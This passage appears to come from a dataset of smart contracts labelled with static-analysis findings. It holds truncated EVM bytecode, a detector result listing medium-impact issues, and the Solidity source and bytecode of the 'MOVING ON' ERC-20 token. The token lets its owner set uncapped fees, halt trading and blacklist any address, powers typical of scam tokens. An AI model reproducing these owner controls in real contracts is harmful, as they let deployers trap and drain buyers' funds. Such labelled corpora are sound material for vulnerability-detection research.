ffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806125215750604960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561252c57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1631821115151561255257600080fd5b604760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561260b57604760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050151561260a57600080fd5b5b604860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156126c457604860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015156126c357600080fd5b5b604960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561277d57604960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050151561277c57600080fd5b5b60019050919050565b60426020528060005260406000206000915054906101000a900460ff1681565b60416020528060005260406000206000915054906101000a900460ff1681565b60007f494e52000000000000000000000000000000000000000000000000000000000060018160001916905550600154905090565b67016345785d8a0000341015151561281257600080fd5b43604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501819055506001603f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001603d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555043602060008282540192505081905550601b600081548092919060010191905055506001603960016101000a81548160ff021916908315150217905550565b6000604560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050919050565b600080604760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612a405750604860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80612a985750604960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515612aa357600080fd5b62989680431015612bf657600090505b8251811015612bed57600f54603a60008584815181101515612ad157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401603a60008584815181101515612b2957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001603b60008584815181101515612b8557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050612ab3565b60019150612bfb565b600091505b50919050565b60008082118015612c515750603a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211155b8015612c635750612c6183610dc7565b155b15612dc05781603a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081603a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601a01600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050612dc5565b600090505b92915050565b6000604560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549050919050565b603f6020528060005260406000206000915054906101000a900460ff1681565b600080600084118015612e895750603a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548411155b8015612e9a5750612e9985610dc7565b5b1561317c5783603a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555083603a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555083604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601a01600082825401925050819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561304e578082015181840152602081019050613033565b50505050905090810190601f16801561307b5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561309b57600080fd5b5af115156130a857600080fd5b505050826040518082805190602001908083835b6020831015156130e157805182526020820191506020810190506020830392506130bc565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a460019150613181565b600091505b509392505050565b60406020528060005260406000206000915054906101000a900460ff1681565b6000604460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60001515604360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561328f57600080fd5b43604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601501819055506001604360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001603d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555043602460008282540192505081905550602660008154809291906001019190505550565b600043905090565b600060011515603c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561352657604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544303604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015460035402604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055505b60011515603e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561369857604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401544303604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600e0181905550604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600e015460045402604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600901819055505b60011515603f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561380a57604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501544303604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600f0181905550604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600f015460055402604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600a01819055505b60011515604060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561397c57604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600601544303604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060100181905550604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206010015460065402604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600b01819055505b60011515604160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415613aee57604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701544303604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060110181905550604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206011015460075402604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600c01819055505b60011515604260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415613c6057604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600801544303604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060120181905550604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206012015460085402604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600d01819055505b64174876e800603a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015613d04575060011515604360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b15613e2257604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601501544303604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060160181905550604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206016015460095402604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601401819055505b604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060140154604660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600d0154604660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600c0154604660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600b0154604660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600a0154604660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060090154010101010101604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206013018190555060011515603b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561417357604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206013015460105401604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601d0181905550604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601d015490506142a0565b60011515603d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561429f57604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060130154604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601d0181905550604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601d015490506142a0565b5b919050565b6142ae336133b2565b604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060170181905550604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601a0154604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206017015410156143c9576000604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601901819055505b604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601a0154604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601701541015156145ad57604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601a0154604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206017015403604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601c0181905550604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601c0154604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601901819055505b604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060190154603a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550565b60436020528060005260406000206000915054906101000a900460ff1681565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106146b357805160ff19168380011785556146e1565b828001600101855582156146e1579182015b828111156146e05782518255916020019190600101906146c5565b5b5090506146ee91906146f2565b5090565b61471491905b808211156147105760008160009055506001016146f8565b5090565b905600a165627a7a723058202513de17c41f53ba6b855b12d1af939e45c228f1fafe9e1130f790dcbd4c11460029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-state", "impact": "Medium", "confidence": "Medium"}]}}
7,456
0xdc7c9f87e47d549df565fd6459c202151fcc3384
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract MOVINGON is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "MOVING ON"; string private constant _symbol = "MOVINGON"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xC45379e2e5E4D97348E646C086F2D807b0485769); address payable private _marketingAddress = payable(0xC45379e2e5E4D97348E646C086F2D807b0485769); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 2000000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610558578063dd62ed3e14610578578063ea1644d5146105be578063f2fde38b146105de57600080fd5b8063a2a957bb146104d3578063a9059cbb146104f3578063bfd7928414610513578063c3c8cd801461054357600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b411461048257806398a5c315146104b357600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611962565b6105fe565b005b34801561020a57600080fd5b5060408051808201909152600981526826a7ab24a7239027a760b91b60208201525b6040516102399190611a27565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611a7c565b61069d565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50670de0b6b3a76400005b604051908152602001610239565b3480156102db57600080fd5b506102626102ea366004611aa8565b6106b4565b3480156102fb57600080fd5b506102c160185481565b34801561031157600080fd5b5060405160098152602001610239565b34801561032d57600080fd5b50601554610292906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611ae9565b61071d565b34801561036d57600080fd5b506101fc61037c366004611b16565b610768565b34801561038d57600080fd5b506101fc6107b0565b3480156103a257600080fd5b506102c16103b1366004611ae9565b6107fb565b3480156103c257600080fd5b506101fc61081d565b3480156103d757600080fd5b506101fc6103e6366004611b31565b610891565b3480156103f757600080fd5b506102c160165481565b34801561040d57600080fd5b506102c161041c366004611ae9565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610292565b34801561045857600080fd5b506101fc610467366004611b16565b6108c0565b34801561047857600080fd5b5061